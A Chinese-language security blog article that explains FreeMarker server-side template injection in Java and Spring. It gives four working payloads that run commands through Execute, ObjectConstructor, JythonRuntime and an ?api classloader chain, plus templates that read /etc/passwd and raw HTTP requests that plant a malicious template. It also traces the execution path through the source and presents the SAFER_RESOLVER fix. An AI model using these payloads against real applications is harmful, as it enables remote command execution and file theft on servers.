Java安全之freemarker 模板注入

Java安全之freemarker 模板注入

freemarker 簡述

FreeMarker 是一款 模板引擎: 即一種基於模板和要改變的數據, 並用來生成輸出文本(HTML網頁,電子郵件,配置文件,源代碼等)的通用工具。 它不是面向最終用戶的,而是一個Java類庫,是一款程序員可以嵌入他們所開發產品的組件。

模板編寫爲FreeMarker Template Language (FTL)。它是簡單的,專用的語言, 不是 像PHP那樣成熟的編程語言。 那就意味着要準備數據在真實編程語言中來顯示,比如數據庫查詢和業務運算, 之後模板顯示已經準備好的數據。在模板中,你可以專注於如何展現數據, 而在模板之外可以專注於要展示什麼數據。

這種方式通常被稱爲 MVC (模型 視圖 控制器) 模式,對於動態網頁來說,是一種特別流行的模式。 它幫助從開發人員(Java 程序員)中分離出網頁設計師(HTML設計師)。設計師無需面對模板中的複雜邏輯, 在沒有程序員來修改或重新編譯代碼時,也可以修改頁面的樣式。

其實FreeMarker的原理就是:模板+數據模型=輸出

內置函數

new

可創建任意實現了TemplateModel接口的Java對象,同時還可以觸發沒有實現 TemplateModel接口的類的靜態初始化塊。
以下兩種常見的FreeMarker模版注入poc就是利用new函數,創建了繼承TemplateModel接口的freemarker.template.utility.JythonRuntimefreemarker.template.utility.Execute

API

value?api 提供對 value 的 API(通常是 Java API)的訪問,例如 value?api.someJavaMethod()value?api.someBeanProperty。可通過 getClassLoader獲取類加載器從而加載惡意類,或者也可以通過 getResource來實現任意文件讀取。
但是,當api_builtin_enabled爲true時纔可使用api函數,而該配置在2.3.22版本之後默認爲false。

POC1

<#assign classLoader=object?api.class.protectionDomain.classLoader> 
<#assign clazz=classLoader.loadClass("ClassExposingGSON")> 
<#assign field=clazz?api.getField("GSON")> 
<#assign gson=field?api.get(null)> 
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))> 
${ex("open -a Calculator.app"")}

POC2

<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","whoami").start()}

POC3

<#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc.exe")

POC4

<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("open -a Calculator.app") }

讀取文件

<#assign is=object?api.class.getResourceAsStream("/Test.class")>
FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
${byte}, </#list>]
<#assign uri=object?api.class.getResource("/").toURI()>
<#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
<#assign is=input?api.getInputStream()>
FILE:[<#list 0..999999999 as _>
    <#assign byte=is.read()>
    <#if byte == -1>
        <#break>
    </#if>
${byte}, </#list>]

漏洞復現與分析

漏洞復現

POST /template HTTP/1.1
Host: 192.168.2.10:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 344

{"hello.ftl": "<!DOCTYPE html><html lang=\"en\"><head><meta charset=\"UTF-8\"><#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ ex(\"open -a Calculator.app\") }<title>Hello!</title><link href=\"/css/main.css\" rel=\"stylesheet\"></head><body><h2 class=\"hello-title\">Hello!</h2><script src=\"/js/main.js\"></script></body></html>"}
POST /hello HTTP/1.1
Host: 192.168.2.10:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 15

{"name": "aaa"}

image-20220502155117356

漏洞分析

  public String template(@RequestBody Map<String,String> templates) throws IOException {
        StringTemplateLoader stringLoader = new StringTemplateLoader();
        for(String templateKey : templates.keySet()){
            stringLoader.putTemplate(templateKey, templates.get(templateKey));
        }
        con.setTemplateLoader(new MultiTemplateLoader(new TemplateLoader[]{stringLoader,
            con.getTemplateLoader()}));
        return "index";
    }

上面代碼stringLoader.putTemplate可設置模板內容,動態添加模板內容。當調用到構造的模板內容時,就會執行構造的惡意表達式。

public String hello(@RequestBody Map<String,Object> body, Model model) {
        model.addAttribute("name", body.get("name"));
        return "hello";
    }

上面payload構造了hello.ftl模板,在hello方法中return "hello",即會調用hello.ftl模板。

解析流程

org.springframework.web.servlet.view.UrlBasedViewResolver#createView

執行到return super.createView(viewName, locale);

開始走freemarker的視圖解析

省略冗餘代碼流程來到

  protected View loadView(String viewName, Locale locale) throws Exception {
        AbstractUrlBasedView view = this.buildView(viewName);
        View result = this.applyLifecycleMethods(viewName, view);//反射獲取實例
        return view.checkResource(locale) ? result : null;
    }

org.springframework.web.servlet.view.UrlBasedViewResolver#buildView

protected AbstractUrlBasedView buildView(String viewName) throws Exception {
        AbstractUrlBasedView view = (AbstractUrlBasedView)BeanUtils.instantiateClass(this.getViewClass());
        view.setUrl(this.getPrefix() + viewName + this.getSuffix());
        String contentType = this.getContentType();
        if (contentType != null) {
            view.setContentType(contentType);
        }

        view.setRequestContextAttribute(this.getRequestContextAttribute());
        view.setAttributesMap(this.getAttributesMap());
        Boolean exposePathVariables = this.getExposePathVariables();
        if (exposePathVariables != null) {
            view.setExposePathVariables(exposePathVariables);
        }

        Boolean exposeContextBeansAsAttributes = this.getExposeContextBeansAsAttributes();
        if (exposeContextBeansAsAttributes != null) {
            view.setExposeContextBeansAsAttributes(exposeContextBeansAsAttributes);
        }

        String[] exposedContextBeanNames = this.getExposedContextBeanNames();
        if (exposedContextBeanNames != null) {
            view.setExposedContextBeanNames(exposedContextBeanNames);
        }

        return view;
    }

image-20220502170054787

設置url然後爲其添加.ftl後綴

org.springframework.web.servlet.view.UrlBasedViewResolver#loadView調用view.checkResource(locale)

org.springframework.web.servlet.view.freemarker.FreeMarkerView#checkResource

 public boolean checkResource(Locale locale) throws Exception {
        String url = this.getUrl();

        try {
            this.getTemplate(url, locale);

獲取view中的url,handle 執行,return回來的值,拼接上.ftl

freemarker.template.Configuration#getTemplate(java.lang.String, java.util.Locale, java.lang.Object, java.lang.String, boolean, boolean)

image-20220502170641534

這裏從cache裏面取值,而在我們putTemplate設置模板的時候,也會將至存儲到cache中。

image-20220502171601818

去除冗餘代碼,來到freemarker.cache.TemplateCache.TemplateCacheTemplateLookupContext#lookupWithLocalizedThenAcquisitionStrategy

image-20220502172112649

freemarker.cache.TemplateCache#lookupTemplateWithAcquisitionStrategy

代碼會先拼接_zh_CN,再尋找未拼接_zh_CN的模板名,調用this.findTemplateSource(path)獲取模板實例。

image-20220502172343305

image-20220502172307328

這裏就獲取到了handle執行返回的模板視圖實例。

org.springframework.web.servlet.DispatcherServlet#doDispatch流程

handle 執行完成後調用 this.processDispatchResult(processedRequest, response, mappedHandler, mv, (Exception)dispatchException);進行模板解析。

調用view.render(mv.getModelInternal(), request, response);

image-20220502174005269

org.springframework.web.servlet.view.freemarker.FreeMarkerView#processTemplate

 protected void processTemplate(Template template, SimpleHash model, HttpServletResponse response) throws IOException, TemplateException {
        template.process(model, response.getWriter());
    }

freemarker.template.Template#process(java.lang.Object, java.io.Writer)

public void process(Object dataModel, Writer out) throws TemplateException, IOException {
    this.createProcessingEnvironment(dataModel, out, (ObjectWrapper)null).process();
}

image-20220502174326322

image-20220502174518915

來到freemarker.core.MethodCall#_eval看具體實現

TemplateModel _eval(Environment env) throws TemplateException {
        TemplateModel targetModel = this.target.eval(env);
        if (targetModel instanceof TemplateMethodModel) {
            TemplateMethodModel targetMethod = (TemplateMethodModel)targetModel;
            List argumentStrings = targetMethod instanceof TemplateMethodModelEx ? this.arguments.getModelList(env) : this.arguments.getValueList(env);
            Object result = targetMethod.exec(argumentStrings);
            return env.getObjectWrapper().wrap(result);
        } else if (targetModel instanceof Macro) {
            Macro func = (Macro)targetModel;
            env.setLastReturnValue((TemplateModel)null);
            if (!func.isFunction()) {
                throw new _MiscTemplateException(env, "A macro cannot be called in an expression. (Functions can be.)");
            } else {
                Writer prevOut = env.getOut();

                try {
                    env.setOut(NullWriter.INSTANCE);
                    env.invoke(func, (Map)null, this.arguments.items, (List)null, (TemplateElement[])null);
                } catch (IOException var9) {
                    throw new TemplateException("Unexpected exception during function execution", var9, env);
                } finally {
                    env.setOut(prevOut);
                }

                return env.getLastReturnValue();
            }
        } else {
            throw new NonMethodException(this.target, targetModel, env);
        }
    }

調用this.target.eval(env);獲取實例,然後前面會判斷是否爲TemplateMethodModel類型,然後調用exec方法。

public Object exec(List arguments) throws TemplateModelException {
    ObjectWrapper ow = this.env.getObjectWrapper();
    BeansWrapper bw = ow instanceof BeansWrapper ? (BeansWrapper)ow : BeansWrapper.getDefaultInstance();
    return bw.newInstance(this.cl, arguments);
}

反射調用,這裏會返回一個freemarker.template.utility.Execute的實例。

第二次調用freemarker.core.Identifier#_eval的時候,執行獲取

image-20220503000138787

image-20220503000218286

然後最後走到freemarker.template.utility.Execute#exec

image-20220502223855377

漏洞修復

測試代碼

簡化了一下,代碼如下:

package freemarker;

import freemarker.cache.StringTemplateLoader;
import freemarker.core.TemplateClassResolver;
import freemarker.template.Configuration;
import freemarker.template.Template;

import java.io.IOException;
import java.io.OutputStreamWriter;
import java.io.StringWriter;
import java.util.HashMap;

public class freemarker_ssti {
    public static void main(String[] args) throws Exception {

        //設置模板
        HashMap<String, String> map = new HashMap<String, String>();
        String poc ="<#assign aaa=\"freemarker.template.utility.Execute\"?new()> ${ aaa(\"open -a Calculator.app\") }";
        System.out.println(poc);
        StringTemplateLoader stringLoader = new StringTemplateLoader();
        Configuration cfg = new Configuration();
        stringLoader.putTemplate("name",poc);
        cfg.setTemplateLoader(stringLoader);
        //cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
        //處理解析模板
        Template Template_name = cfg.getTemplate("name");
        StringWriter stringWriter = new StringWriter();

        Template_name.process(Template_name,stringWriter);


    }
}

設置cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);

設置cfg.setNewBuiltinClassResolver會 加入一個校驗,傳遞爲freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor過濾。

  TemplateClassResolver SAFER_RESOLVER = new TemplateClassResolver() {
        public Class resolve(String className, Environment env, Template template) throws TemplateException {
            if (!className.equals(ObjectConstructor.class.getName()) && !className.equals(Execute.class.getName()) && !className.equals("freemarker.template.utility.JythonRuntime")) {
                try {
                    return ClassUtil.forName(className);
                } catch (ClassNotFoundException var5) {
                    throw new _MiscTemplateException(var5, env);
                }
            } else {
                throw MessageUtil.newInstantiatingClassNotAllowedException(className, env);
            }
        }
    };

2.3.17版本以後,官方版本提供了三種TemplateClassResolver對類進行解析:
1、UNRESTRICTED_RESOLVER:可以通過 ClassUtil.forName(className) 獲取任何類。

2、SAFER_RESOLVER:不能加載 freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor這三個類。
3、ALLOWS_NOTHING_RESOLVER:不能解析任何類。
可通過freemarker.core.Configurable#setNewBuiltinClassResolver方法設置TemplateClassResolver,從而限制通過new()函數對freemarker.template.utility.JythonRuntimefreemarker.template.utility.Executefreemarker.template.utility.ObjectConstructor這三個類的解析。

開發資料

https://freemarker.apache.org/docs/api/index.html

https://vimsky.com/examples/detail/java-method-freemarker.cache.StringTemplateLoader.putTemplate.html

參考

服務器端模版注入SSTI分析與歸納

Freemarker模板注入 Bypass

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章